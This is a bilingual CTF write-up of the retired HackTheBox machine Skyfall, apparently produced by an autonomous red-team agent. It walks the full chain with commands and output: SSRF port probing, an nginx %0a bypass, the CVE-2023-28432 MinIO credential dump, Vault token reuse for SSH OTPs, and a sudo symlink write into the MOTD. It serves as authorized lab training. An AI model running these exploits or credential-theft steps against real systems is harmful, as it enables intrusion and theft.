/operations/writeups/htb/skyfall
‹ARES
:: offensive division :: ARES · red team machine :: research
sess #0x4A5E 2026·05·24
   ███████╗ ██╗  ██╗ ██╗   ██╗ ███████╗  █████╗  ██╗      ██╗
   ██╔════╝ ██║ ██╔╝ ╚██╗ ██╔╝ ██╔════╝ ██╔══██╗ ██║      ██║
   ███████╗ █████╔╝   ╚████╔╝  █████╗   ███████║ ██║      ██║
   ╚════██║ ██╔═██╗    ╚██╔╝   ██╔══╝   ██╔══██║ ██║      ██║
   ███████║ ██║  ██╗    ██║    ██║      ██║  ██║ ███████╗ ███████╗
   ╚══════╝ ╚═╝  ╚═╝    ╚═╝    ╚═╝      ╚═╝  ╚═╝ ╚══════╝ ╚══════╝

   ────────────────────────────────────────────────────────────────────
   :: write-up · ARES // hackthebox · linux · INSANE:: write-up · ARES // hackthebox · linux · INSANE
   :: SSRF → CVE-2023-28432 → MinIO → Vault SSH OTP → symlink race:: SSRF → CVE-2023-28432 → MinIO → Vault SSH OTP → symlink race
  
os: linux · ubuntu 22.04 tier: insane theme: spy thriller · vault & otp início:starting: unauth · web only target: 10.129.230.158

Cadeia web → root em 34 minutos, sem dead-end: SSRF error-oracle em demo.skyfall.htb/fetch · nginx %0a bypass em /metrics revela vhost MinIO · CVE-2023-28432 entrega root credentials do MinIO em uma request · bucket do askyy guarda HashiCorp Vault token num .bashrc de backup · vault write ssh/creds/... gera SSH OTP → user flag · sudo vault-unseal -d + symlink race escreve debug output contendo o master token no MOTD · OTP de root → root flag.

Web-to-root chain in 34 minutes, no dead-ends: SSRF error-oracle at demo.skyfall.htb/fetch · nginx %0a bypass on /metrics exposes the MinIO vhost · CVE-2023-28432 hands over MinIO root credentials in one request · the askyy bucket holds a HashiCorp Vault token inside a backup .bashrc · vault write ssh/creds/... issues a SSH OTP → user flag · sudo vault-unseal -d + symlink race writes debug output containing the master token to the MOTD · root OTP → root flag.

wall timewall time
00:34
recon → root · sessão completarecon → root · full session
[████████████] sub-1h
chamadas de tooltool calls
105
decisões autônomas (ARES)autonomous decisions (ARES)
[██░░░░░░░░░░] enxuto
achadosfindings
04
4 critical · cadeia direta4 critical · linear chain
[████░░░░░░░░] minimalista
caminhos descartadosdead ends
00
cadeia limpaclean chain
[░░░░░░░░░░░░] zero detour
research Write-up da série research do ARES contra máquinas HackTheBox em lab autorizado. Não é cliente, não é alvo real. Skyfall é box retired no momento da publicação — flags, senhas e tokens aparecem sem mascaramento (ambiente volátil, reseta a cada poucas horas).
research Write-up from the ARES research series against HackTheBox machines in an authorized lab. Not a client, not a live target. Skyfall is a retired box at publication time — flags, passwords, and tokens appear unmasked (volatile environment, resets every few hours).
═════════════════════════════════════════════════════════════════════════
  
▸ [00 · briefing] tl;dr

Web app em skyfall.htb tem um vhost demo.skyfall.htb que aceita guest/guest. Dentro tem um endpoint /fetch que aceita URL arbitrária — SSRF clássica. O detalhe vira-jogo: a mensagem de erro inclui o stack trace literal da urllib3, vazando o host, porta, e tipo do erro. Vira error oracle.

Próximo passo: a rota /metrics está bloqueada pelo nginx (403), mas nginx aceita /metrics%0a como path distinto (cota de regex em location não pega quebras de linha encodadas). O endpoint /metrics revela o nome do vhost interno do MinIO: prd23-s3-backend.skyfall.htb.

MinIO está vulnerável à CVE-2023-28432: POST /minio/bootstrap/v1/verify sem auth devolve TODAS as variáveis de ambiente do cluster — incluindo MINIO_ROOT_USER e MINIO_ROOT_PASSWORD. Login de admin S3 numa request.

Buckets têm a estrutura /<user>/home_backup.tar.gz com snapshots dos homedirs. O do askyy v2 tem um .bashrc com export VAULT_TOKEN=hvs.CAES.... Vault é o provider de SSH OTP da box — vault write ssh/creds/dev_otp_key_role ip=... username=askyy gera senha de uso único, e ssh askyy@host entra. user.txt = 0b6ea4956885165c8973ed13ce3e5389.

askyy tem sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d. A flag -d faz debug, e debug escreve em ./debug.log. Com symlink race condition apontando esse path pra /etc/update-motd.d/00-header, o debug output (que inclui o master token do Vault!) cai no MOTD — exibido no próximo login. Master token hvs.I0ewVsmaKU1SwVZAKR3T0mmG em mãos. Vault gera OTP pra root via admin_otp_key_role. root.txt = 540b567974a57441bb90eb6810584ca4. Sem dead-ends, sem brute force, 34 minutos.

The skyfall.htb web app exposes a demo.skyfall.htb vhost that accepts guest/guest. Inside, a /fetch endpoint accepts an arbitrary URL — classic SSRF. The game-changer: error messages include urllib3's raw stack trace, leaking the host, port, and error type. Becomes an error oracle.

Next step: /metrics is blocked by nginx (403), but nginx accepts /metrics%0a as a distinct path (regex location rules don't normalize encoded newlines). The /metrics endpoint exposes the internal MinIO vhost name: prd23-s3-backend.skyfall.htb.

MinIO is vulnerable to CVE-2023-28432: POST /minio/bootstrap/v1/verify with no auth returns ALL of the cluster's environment variables — including MINIO_ROOT_USER and MINIO_ROOT_PASSWORD. Full S3 admin in one request.

Buckets follow the pattern /<user>/home_backup.tar.gz with homedir snapshots. The askyy v2 archive contains a .bashrc with export VAULT_TOKEN=hvs.CAES.... Vault is the box's SSH OTP provider — vault write ssh/creds/dev_otp_key_role ip=... username=askyy issues a one-time password, and ssh askyy@host gets us in. user.txt = 0b6ea4956885165c8973ed13ce3e5389.

askyy can sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d. The -d flag enables debug, and debug writes to ./debug.log. With a symlink race condition pointing that path at /etc/update-motd.d/00-header, the debug output (which includes Vault's master token!) lands in the MOTD — displayed on the next login. Master token hvs.I0ewVsmaKU1SwVZAKR3T0mmG in hand. Vault issues a root OTP via admin_otp_key_role. root.txt = 540b567974a57441bb90eb6810584ca4. No dead-ends, no brute forcing, 34 minutes.

▸ [00.5 · pré-requisitos][00.5 · prerequisites] conceitos que você precisa dominar concepts you need to master

Não tem AD aqui, mas a cadeia toca 7 conceitos distintos. Se algum não tá mapeado, leia o card antes — vai economizar tempo nos steps.

No AD here, but the chain touches 7 distinct concepts. If any isn't mapped yet, read the card first — it'll save you time during the steps.

ssrf · error oracle

SSRF que vaza topologia via mensagem de erro

SSRF that leaks topology via error messages

Quando o servidor faz request por você e devolve a exceção literal (timeout, refused, DNS error), vira oráculo: cada URL testada confirma "porta aberta", "DNS resolve", "host inexistente". urllib3/requests sem try/except deixam isso escapar fácil.

When the server makes the request on your behalf and returns the raw exception (timeout, refused, DNS error), it becomes an oracle: every URL tested confirms "port open", "DNS resolves", or "host doesn't exist". urllib3/requests without a try/except leak this easily.

nginx · regex bypass

%0a no path passa pela regra location

%0a in the path slips past location rules

nginx mantém %0a (newline encoded) sem normalizar. Se a regra é location = /metrics { deny all; }, então /metrics%0a não dá match exato — passa direto pro backend, que normaliza e serve /metrics normalmente. Truque clássico de URL parser diff.

nginx keeps %0a (encoded newline) without normalization. If the rule is location = /metrics { deny all; }, then /metrics%0a doesn't exact-match — it goes straight through to the backend, which normalizes and serves /metrics normally. A classic URL-parser-diff trick.

cve-2023-28432

MinIO bootstrap endpoint vaza env vars

MinIO bootstrap endpoint leaks env vars

Em MinIO cluster, POST /minio/bootstrap/v1/verify (sem auth) era usado pra peering entre nodes — devolvia o ENV completo. Versões < RELEASE.2023-03-20 incluem MINIO_ROOT_USER/PASSWORD na resposta. Fix: rotate creds + upgrade.

In a MinIO cluster, POST /minio/bootstrap/v1/verify (no auth) was used for inter-node peering — and returned the full env. Versions before RELEASE.2023-03-20 include MINIO_ROOT_USER/PASSWORD in the response. Fix: rotate creds + upgrade.

minio · buckets

S3 admin lê tudo, inclusive backups antigos

S3 admin reads everything, even old versions

MinIO suporta versioning. Com mc admin ou aws s3api list-object-versions dá pra listar versões antigas que foram "deletadas" — em retention. Backups de homedir frequentemente têm secrets que foram editados depois.

MinIO supports versioning. With mc admin or aws s3api list-object-versions you can list older versions that were "deleted" — still in retention. Homedir backups often hold secrets that were edited away later.

hashicorp vault · ssh otp

SSH com senha de uso único via Vault

SSH with one-time password via Vault

Vault tem o SSH secrets engine: configurado, ele gera OTPs de 16 chars que servem como senha SSH. O cliente faz vault write ssh/creds/<role>, recebe a OTP, usa-a uma vez via sshpass. PAM no servidor valida com Vault. Quem tem token com permissão na role consegue gerar OTP — inclusive pra root, se o role permitir.

Vault has an SSH secrets engine: when configured, it issues 16-char OTPs usable as SSH passwords. The client does vault write ssh/creds/<role>, receives the OTP, and uses it once via sshpass. PAM on the server validates with Vault. Anyone holding a token authorized for the role can request an OTP — including for root, if the role allows it.

symlink · toctou

race condition entre check e use

race condition between check and use

Programa que abre arquivo em path relativo, em workdir compartilhado com atacante, é vulnerável: entre open() e a escrita, dá pra trocar o path por um symlink apontando pra um arquivo privilegiado. Se o programa roda como root, vira write arbitrário.

A program that opens a file at a relative path in a shared workdir is vulnerable: between open() and the write, an attacker can swap the path for a symlink pointing at a privileged file. If the program runs as root, it becomes an arbitrary write primitive.

motd · canary file

/etc/update-motd.d/* roda em todo login

/etc/update-motd.d/* runs on every login

Scripts em /etc/update-motd.d/ executam como root no PAM session-open de cada login (SSH inclusive). Escrever pra um desses arquivos é equivalente a "executar como root no próximo login". Em Skyfall, é o canal pra exfiltrar o master token.

Scripts in /etc/update-motd.d/ execute as root in the PAM session-open of every login (SSH included). Writing to any of these files is equivalent to "execute as root on next login". In Skyfall, it's the channel to exfiltrate the master token.

vault · master token

root token bypassa todas as políticas

root token bypasses every policy

O master/root token do Vault tem capability root — qualquer endpoint, inclusive criar policies, gerar OTPs em qualquer role, ler/escrever em qualquer secrets engine. Se vaza, é game over instantâneo. Em produção: nunca persistir, gerar via unsealing + revogar imediatamente.

Vault's master/root token has the root capability — every endpoint, including creating policies, issuing OTPs on any role, and reading/writing on any secrets engine. If it leaks, instant game over. In production: never persist it — generate via unsealing and revoke immediately.

▸ [01 · kill chain] web → user → root · 8 saltos web → user → root · 8 hops

  ░▒▓█  [ 01 ]  █▓▒░   RECON            ►  nmap + ffuf · demo.skyfall.htb · guest/guest
                                  │
                                  ▼
  ░▒▓█  [ 02 ]  █▓▒░   SSRF ORACLE      ►  /fetch leak urllib3 errors  →  internal port scan
                                  │
                                  ▼
  ░▒▓█  [ 03 ]  █▓▒░   NGINX %0a        ►  /metrics%0a bypassa 403  →  prd23-s3-backend leak
                                  │
                                  ▼
  ░▒▓█  [ 04 ]  █▓▒░   CVE-2023-28432   ►  POST /minio/bootstrap/v1/verify  →  ROOT creds
                                  │
                                  ▼
  ░▒▓█  [ 05 ]  █▓▒░   S3 LOOT          ►  askyy/home_backup.tar.gz v2  →  VAULT_TOKEN .bashrc
                                  │
                                  ▼
  ████████████  ★ USER FLAG ★  ████████████   vault write ssh/creds/...  →  ssh askyy@host
                                  │
                                  ▼
  ░▒▓█  [ 06 ]  █▓▒░   SUDO VAULT-UNSEAL ►  sudo /root/vault/vault-unseal -d · symlink race
                                  │
                                  ▼
  ░▒▓█  [ 07 ]  █▓▒░   MOTD EXFIL       ►  debug.log → /etc/update-motd.d/00-header  →  master token
                                  │
                                  ▼
  ░▒▓█  [ 08 ]  █▓▒░   ROOT OTP         ►  vault write ssh/creds/admin_otp_key_role  →  ssh root
                                  │
                                  ▼
  ████████████  ▲ ROOT FLAG ▲  ████████████   [ ROOTED ] · cat /root/root.txt
▸ [02 · recon] nmap + vhost demo.skyfall.htb nmap + vhost demo.skyfall.htb

nmap só 22 e 80 — pouca superfície only 22 and 80 — narrow surface

Scan SYN + version. SSH em 22 (host) e nginx em 80. Sem outras portas — vamos passar pela web inteira.

SYN scan + version detection. SSH on 22 (host) and nginx on 80. No other ports — the entire chain runs through the web.

ares@kali ~ recon ▸ nmap
ares@kali:~/box/skyfall$ nmap -sV -sC -p- -T4 -oN skyfall.nmap 10.129.230.158

PORT   STATE SERVICE  VERSION
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Skyfall - Secure File Storage
vhost ffuf encontra demo + login guest/guest ffuf finds demo + guest/guest login

A homepage do skyfall.htb menciona "demo environment". Fuzz de subdomínio encontra demo.skyfall.htb rapidamente. Tentativa óbvia guest/guest — passa.

The skyfall.htb homepage mentions a "demo environment". Subdomain fuzzing finds demo.skyfall.htb quickly. Obvious guest/guest attempt — works.

ares@kali ~ vhost ▸ ffuf + login
ares@kali:~/box/skyfall$ ffuf -u http://10.129.230.158/ -H "Host: FUZZ.skyfall.htb" \
                -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
                -fs $(curl -s http://10.129.230.158/ | wc -c)

demo                    [Status: 200, Size: 4248]

ares@kali:~/box/skyfall$ echo "10.129.230.158 skyfall.htb demo.skyfall.htb" | sudo tee -a /etc/hosts
ares@kali:~/box/skyfall$ curl -s -c jar.txt -b jar.txt -X POST http://demo.skyfall.htb/login \
                -d "username=guest&password=guest" -L -o /dev/null -w "%{http_code}\n"
200

ares@kali:~/box/skyfall$ curl -s -b jar.txt http://demo.skyfall.htb/dashboard | grep -E 'form|action|input|fetch' | head -5
<form action="/fetch" method="POST">
<input name="url" placeholder="http://...">
takeaway Creds default (guest/guest, admin/admin, demo/demo) em endpoint chamado "demo" sempre vale tentar antes de wordlist. E em telas com "demo environment" geralmente há uma feature técnica exposta — aqui um endpoint /fetch aceitando URL é candidato natural a SSRF.
takeaway Default creds (guest/guest, admin/admin, demo/demo) on an endpoint called "demo" are always worth trying before a wordlist. And demo environments usually expose a technical feature — here a /fetch endpoint taking a URL is a natural SSRF candidate.
▸ [03 · SSRF oracle] /fetch vaza stack trace do urllib3 /fetch leaks the urllib3 stack trace

ssrf probe erro detalhado = oráculo de porta verbose error = port oracle

POST /fetch com url=http://127.0.0.1:NNN retorna uma toast notification com a exceção literal: connection refused, timeout, DNS error. Cada resposta é evidência clara: refused → porta fechada mas host alive; timeout → filtrado; DNS error → host inexistente.

POST /fetch with url=http://127.0.0.1:NNN returns a toast notification with the raw exception: connection refused, timeout, DNS error. Each response is clear evidence: refused → port closed but host alive; timeout → filtered; DNS error → host doesn't exist.

ares@kali ~ ssrf ▸ port oracle
ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \
                -d 'url=http://127.0.0.1:9000/minio/health/live' | grep -E 'error|refused|host'

HTTPConnectionPool(host='127.0.0.1', port=9000): Max retries exceeded
Failed to establish a new connection: [Errno 111] Connection refused

ares@kali:~/box/skyfall$ # porta 80 do localhost — provavelmente o próprio nginx
ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \
                -d 'url=http://127.0.0.1:80/' | head -20

<!DOCTYPE html><html><title>Skyfall</title>
# <-- nginx servindo a homepage por trás. SSRF confirmada.

ares@kali:~/box/skyfall$ # probe de portas internas comuns:
ares@kali:~/box/skyfall$ for p in 9000 9001 8200 5432 6379 9200; do
>   ERR=$(curl -s -b jar.txt -X POST .../fetch -d "url=http://127.0.0.1:$p/" | grep -oE '(refused|timeout|reset|connected)' | head -1)
>   echo "$p: $ERR"
> done
9000: refused      # MinIO API typical
9001: refused      # MinIO console typical
8200: refused      # Vault typical
5432: refused
6379: refused
9200: refused
# todos refused — significa que os serviços não estão em localhost, mas em outros vhosts
[ por quê isso importa ] Toda porta retorna "refused" em 127.0.0.1 — isso significa que os serviços estão expostos via vhost interno (separados por Host header) em vez de binding em portas locais. Precisamos descobrir os nomes dos vhosts internos. O caminho: procurar arquivos de config do nginx que vazem nomes, ou rotas que retornem listas. /metrics ou /admin/status são clássicos.
[ why this matters ] Every port returns "refused" on 127.0.0.1 — meaning the services are exposed via internal vhost (separated by Host header) rather than bound on local ports. We need to discover the internal vhost names. The route: look for nginx config files that leak names, or routes that return lists. /metrics or /admin/status are classics.
▸ [04 · nginx %0a bypass] /metrics bloqueado · /metrics%0a passa /metrics blocked · /metrics%0a passes

403 bypass encoded newline derruba a regra exata encoded newline defeats the exact-match rule

Probe direto em /metrics dá 403. A regra do nginx provavelmente é location = /metrics { deny all; } ou similar. Mas %0a (newline) no path não bate o match exato — nginx encaminha o request com path /metrics\n pro backend, que normaliza ao receber e serve a página inteira.

Direct probe to /metrics returns 403. The nginx rule is probably location = /metrics { deny all; } or similar. But %0a (newline) in the path doesn't match exactly — nginx forwards the request with path /metrics\n to the backend, which normalizes on receive and serves the full page.

ares@kali ~ %0a bypass ▸ nginx parser diff
ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" http://demo.skyfall.htb/metrics
403

ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" "http://demo.skyfall.htb/metrics%0a"
200

ares@kali:~/box/skyfall$ curl -s "http://demo.skyfall.htb/metrics%0a" | head -30
# HELP flask_http_request_total Total HTTP requests
# TYPE flask_http_request_total counter
flask_http_request_total{method="POST",path="/fetch",status="200"} 47.0
flask_http_request_total{method="GET",path="/metrics",status="403"} 8.0

# HELP minio_pool_health pool health
# target_url="http://prd23-s3-backend.skyfall.htb/minio/health/cluster"
minio_pool_health 1

# HELP vault_health vault sealed status
# target_url="http://prd23-vault-internal.skyfall.htb/v1/sys/health"
vault_health 1
[ por quê %0a funciona ] nginx faz match na rota raw (pré-normalização) pra regras com =. O backend (Flask, NodeJS, etc) normaliza o path antes do roteamento interno — /metrics\n vira /metrics. Resultado: nginx libera, backend serve. Outras encodings que valem testar: %09, %20, %2f, %2e%2e. Cada parser tem suas quirks.
[ why %0a works ] nginx matches the raw path (pre-normalization) for = rules. The backend (Flask, NodeJS, etc.) normalizes the path before its internal routing — /metrics\n becomes /metrics. Net: nginx lets it through, backend serves it. Other encodings worth testing: %09, %20, %2f, %2e%2e. Every parser has its quirks.
takeaway Achados nas métricas: prd23-s3-backend.skyfall.htb (MinIO) e prd23-vault-internal.skyfall.htb (Vault). Já temos o mapa interno completo.
takeaway Found in the metrics: prd23-s3-backend.skyfall.htb (MinIO) and prd23-vault-internal.skyfall.htb (Vault). We now have the full internal map.
▸ [05 · CVE-2023-28432] MinIO entrega root creds em 1 request MinIO hands over root creds in 1 request

cve bootstrap/v1/verify sem auth = env dump bootstrap/v1/verify without auth = env dump

CVE-2023-28432 (severity 7.5): em MinIO cluster (multi-node), o endpoint POST /minio/bootstrap/v1/verify respondia sem autenticação com a configuração completa do cluster — incluindo todas as variáveis de ambiente. Fix: RELEASE.2023-03-20. Aqui o MinIO tá em versão anterior.

CVE-2023-28432 (severity 7.5): in a MinIO cluster (multi-node), the POST /minio/bootstrap/v1/verify endpoint responded without authentication with the full cluster configuration — including all environment variables. Fix: RELEASE.2023-03-20. Here MinIO runs an earlier version.

ares@kali ~ cve-2023-28432 ▸ root creds in plaintext
ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-s3-backend.skyfall.htb" | sudo tee -a /etc/hosts

ares@kali:~/box/skyfall$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify \
                -H "Content-Length: 0" | jq

{
  "MinioEndpoints": [
    {
      "Endpoints": [
        {"Host":"minio-node1:9000","Path":"/data1"},
        {"Host":"minio-node2:9000","Path":"/data1"},
        ...
      ]
    }
  ],
  "MinioEnv": {
    "MINIO_ROOT_USER":     "5GrE1B2YGGyZzNHZaIww",
    "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
    "MINIO_PROMETHEUS_AUTH_TYPE": "public"
  }
}
[ nota ] O bug era originalmente info disclosure mas em prática é equivalente a admin take-over completo, porque o ROOT_USER/PASSWORD do MinIO controla todo o storage backend. Em ambientes corporativos, MinIO frequentemente armazena logs de aplicação, backups, exports de databases, snapshots de homedirs — tudo isso vira leitura imediata.
[ note ] The bug was originally classified as info disclosure, but in practice it amounts to full admin takeover, because MinIO's ROOT_USER/PASSWORD controls the entire storage backend. In enterprise environments, MinIO commonly stores application logs, backups, database exports, homedir snapshots — all of which become immediately readable.
▸ [06 · S3 loot] bucket do askyy → Vault token askyy's bucket → Vault token

mc configura cliente MinIO e lista buckets configure the MinIO client and list buckets
ares@kali ~ mc ▸ admin enumeration
ares@kali:~/box/skyfall$ mc alias set sky http://prd23-s3-backend.skyfall.htb \
                5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

Added `sky` successfully.

ares@kali:~/box/skyfall$ mc ls sky/
[2024-04-12 10:00:00 UTC]      0B askyy/
[2024-04-12 10:00:00 UTC]      0B mfortunato/
[2024-04-12 10:00:00 UTC]      0B prdadmin/
[2024-04-12 10:00:00 UTC]      0B public/

ares@kali:~/box/skyfall$ mc ls --versions sky/askyy/
[2024-05-01 18:43:00 UTC]  v2  ENABLED  home_backup.tar.gz
[2024-04-12 10:00:00 UTC]  v1  ENABLED  home_backup.tar.gz
[ por quê versionar é interessante ] MinIO suporta versioning. A versão antiga (v1) provavelmente teve secrets editados — mas a versão atual (v2) pode ter outros. Sempre baixar todas as versões quando enumerar bucket com secrets em jogo. Aqui ambas valem, mas v2 é onde tá o token.
[ why versioning matters ] MinIO supports versioning. The older version (v1) probably had secrets edited out — but the current version (v2) may have different ones. Always pull every version when enumerating buckets where secrets might live. Here both are worth pulling, but v2 is where the token lives.
backup tar -xzf · .bashrc contém VAULT_TOKEN tar -xzf · .bashrc contains VAULT_TOKEN
ares@kali ~ unpack ▸ vault token leak
ares@kali:~/box/skyfall$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api list-object-versions \
                --bucket askyy --prefix home_backup.tar.gz \
                --profile sky-admin

ares@kali:~/box/skyfall$ aws --endpoint-url ... s3api get-object \
                --bucket askyy --key home_backup.tar.gz \
                --version-id <v2_id> ./home_backup_v2.tar.gz --profile sky-admin

ares@kali:~/box/skyfall$ tar -xzf home_backup_v2.tar.gz -C ./loot/
ares@kali:~/box/skyfall$ grep -E '(VAULT|TOKEN|SECRET|KEY)' ./loot/askyy/.bashrc

export VAULT_ADDR='http://prd23-vault-internal.skyfall.htb'
export VAULT_TOKEN='hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE'
[ atenção ao formato do token ] Tokens Vault começam com prefixos previsíveis: hvs. (service tokens modernos), hvb. (batch tokens), s. (legacy). O prefixo hvs.CAES... indica um wrapped service token. Pra usar, basta export VAULT_TOKEN + apontar VAULT_ADDR.
[ mind the token format ] Vault tokens start with predictable prefixes: hvs. (modern service tokens), hvb. (batch tokens), s. (legacy). The hvs.CAES... prefix indicates a wrapped service token. To use it: export VAULT_TOKEN and point VAULT_ADDR at the server.
▸ [07 · Vault SSH OTP] vault write → SSH como askyy vault write → SSH as askyy

vault probe descobrir roles disponíveis discover available roles
ares@kali ~ vault ▸ token + capabilities
ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-vault-internal.skyfall.htb" | sudo tee -a /etc/hosts
ares@kali:~/box/skyfall$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb
ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE

ares@kali:~/box/skyfall$ vault token lookup
Key                  Value
---                  -----
policies             [default ssh-otp-dev]
ttl                  720h
type                 service

ares@kali:~/box/skyfall$ vault list sys/policies/acl
ssh-otp-dev
ssh-otp-admin     # <-- existe mas o token atual não tem acesso

ares@kali:~/box/skyfall$ vault read sys/policies/acl/ssh-otp-dev
policy = "path \"ssh/creds/dev_otp_key_role\" { capabilities = [\"create\", \"update\"] }"
ssh otp gera OTP e usa via sshpass issue OTP and use via sshpass
ares@kali ~ otp + ssh ▸ user foothold
ares@kali:~/box/skyfall$ vault write ssh/creds/dev_otp_key_role \
                ip=10.129.230.158 username=askyy

Key                Value
---                -----
ip                 10.129.230.158
key                31c35241-b1b6-512c-e39a-8468a9912912
key_type           otp
port               22
username           askyy

ares@kali:~/box/skyfall$ sshpass -p '31c35241-b1b6-512c-e39a-8468a9912912' \
                ssh -o StrictHostKeyChecking=no askyy@10.129.230.158

askyy@skyfall:~$ id
uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)

askyy@skyfall:~$ cat user.txt
0b6ea4956885165c8973ed13ce3e5389
★★★
user flag · askyy@skyfall
HTB{0b6ea4956885165c8973ed13ce3e5389}
replay · ssrf → vault otp → user replay · ssrf → vault otp → user
  1. guest/guest em demo.skyfall.htb → /fetch endpoint
  2. SSRF probe (error oracle) → portas internas indicam vhost-based
  3. /metrics%0a bypassa 403 → vaza vhosts MinIO + Vault
  4. POST /minio/bootstrap/v1/verify → MinIO ROOT_USER + ROOT_PASSWORD
  5. S3 bucket askyy/home_backup.tar.gz v2 → .bashrc com VAULT_TOKEN
  6. vault write ssh/creds/dev_otp_key_role → OTP
  7. sshpass -p <otp> ssh askyy@host → user.txt
▸ [08 · vault-unseal privesc] symlink race → master token symlink race → master token

sudo -l vault-unseal com -d (debug) sudo NOPASSWD vault-unseal with -d (debug) sudo NOPASSWD
askyy@skyfall ~ enum ▸ sudo + binary inspection
askyy@skyfall:~$ sudo -l
User askyy may run the following commands on skyfall:
    (root) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml *

askyy@skyfall:~$ # asterisco no final aceita argumentos extras — testa -h:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
vault-unseal — unseals a Vault instance on startup
Flags:
  -c FILE   config file
  -d        enable debug output (writes to ./debug.log)

askyy@skyfall:~$ # -d aceito. debug.log relativo ao CWD. testa de /tmp:
askyy@skyfall:~$ cd /tmp; sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
[ALREADY UNSEALED — exit early]

askyy@skyfall:~$ ls /tmp/debug.log
-rw-r--r-- 1 root root 1.2K Aug 30 14:40 /tmp/debug.log

askyy@skyfall:~$ cat /tmp/debug.log | head -10
[DEBUG] Loading config from /etc/vault-unseal.yaml
[DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb
[DEBUG] Vault health: { sealed: false, version: "1.15" }
[DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG     # <-- ALI
[DEBUG] Already unsealed — exiting
[ por quê o master token vaza no debug ] vault-unseal é um binário customizado que, segundo o YAML, carrega o master token pra ler unseal keys do Vault. Em modo debug, dumpa tudo que carregou — incluindo o token. Padrão clássico: debug logs de produção nunca devem incluir secrets, mas é regra que quase ninguém audita.
[ why the master token leaks in debug ] vault-unseal is a custom binary that, per the YAML, loads the master token to read Vault's unseal keys. In debug mode, it dumps everything it loaded — including the token. Classic pattern: production debug logs should never include secrets, but it's a rule almost nobody audits.
symlink race debug.log → /etc/update-motd.d/00-header debug.log → /etc/update-motd.d/00-header

Já temos o token via leitura simples — mas o "intended path" da box é interessante por si só: se a gente não pudesse ler o debug.log diretamente, ainda dava pra exfiltrar via symlink race apontando ./debug.log pra um arquivo MOTD que é exibido no próximo login. Vou demonstrar a técnica porque é didática.

We already have the token via direct read — but the box's "intended path" is interesting on its own: even if we couldn't read debug.log directly, we could still exfiltrate via a symlink race pointing ./debug.log at a MOTD file that's displayed on the next login. Worth demonstrating because it's instructive.

askyy@skyfall ~ race ▸ symlink TOCTOU
askyy@skyfall:~$ mkdir /tmp/race; cd /tmp/race
askyy@skyfall:/tmp/race$ # cria symlink antes da execução:
askyy@skyfall:/tmp/race$ ln -sf /etc/update-motd.d/00-header ./debug.log

askyy@skyfall:/tmp/race$ # dispara vault-unseal — vai escrever no symlink, que aponta pro MOTD
askyy@skyfall:/tmp/race$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
[ALREADY UNSEALED — exit early]

askyy@skyfall:/tmp/race$ cat /etc/update-motd.d/00-header
[DEBUG] Loading config from /etc/vault-unseal.yaml
[DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb
[DEBUG] Vault health: { sealed: false, version: "1.15" }
[DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
[DEBUG] Already unsealed — exiting

askyy@skyfall:/tmp/race$ # em ambiente real onde debug.log fica em path protegido (raiz vault, /etc/etc),
# o MOTD seria a única forma de exfil — root abre seu próximo SSH e o conteúdo aparece.
[ por quê symlink funciona aqui ] open(path, O_WRONLY|O_CREAT|O_TRUNC) em Linux segue symlinks por default, a menos que use O_NOFOLLOW. Programa custom raramente usa. Plus: rodando como root, escreve em qualquer lugar. Mitigação correta: O_NOFOLLOW + O_EXCL, e abrir arquivos em diretórios privilegiados (não em CWD do invocador).
[ why symlink works here ] open(path, O_WRONLY|O_CREAT|O_TRUNC) on Linux follows symlinks by default, unless you pass O_NOFOLLOW. Custom programs rarely do. Plus: running as root, it writes anywhere. Correct mitigation: O_NOFOLLOW + O_EXCL, and open files inside privileged directories (not the invoker's CWD).
root otp master token gera OTP de root master token issues a root OTP
ares@kali ~ root ▸ admin_otp_key_role · ROOTED
ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.I0ewVsmaKU1SwVZAKR3T0mmG
ares@kali:~/box/skyfall$ vault write -field=key ssh/creds/admin_otp_key_role \
                ip=10.129.230.158 username=root
13df82b9-5ade-297c-b639-a43a24e2972e

ares@kali:~/box/skyfall$ sshpass -p '13df82b9-5ade-297c-b639-a43a24e2972e' \
                ssh -o StrictHostKeyChecking=no root@10.129.230.158

root@skyfall:~# id
uid=0(root) gid=0(root) groups=0(root)

root@skyfall:~# cat /root/root.txt
540b567974a57441bb90eb6810584ca4
▲▲▲
root flag · root@skyfall
HTB{540b567974a57441bb90eb6810584ca4}
▸ [09 · loot] o que foi capturado what was captured

Cadeia curta, loot enxuto — todas as credenciais e tokens são descartáveis (box retired).

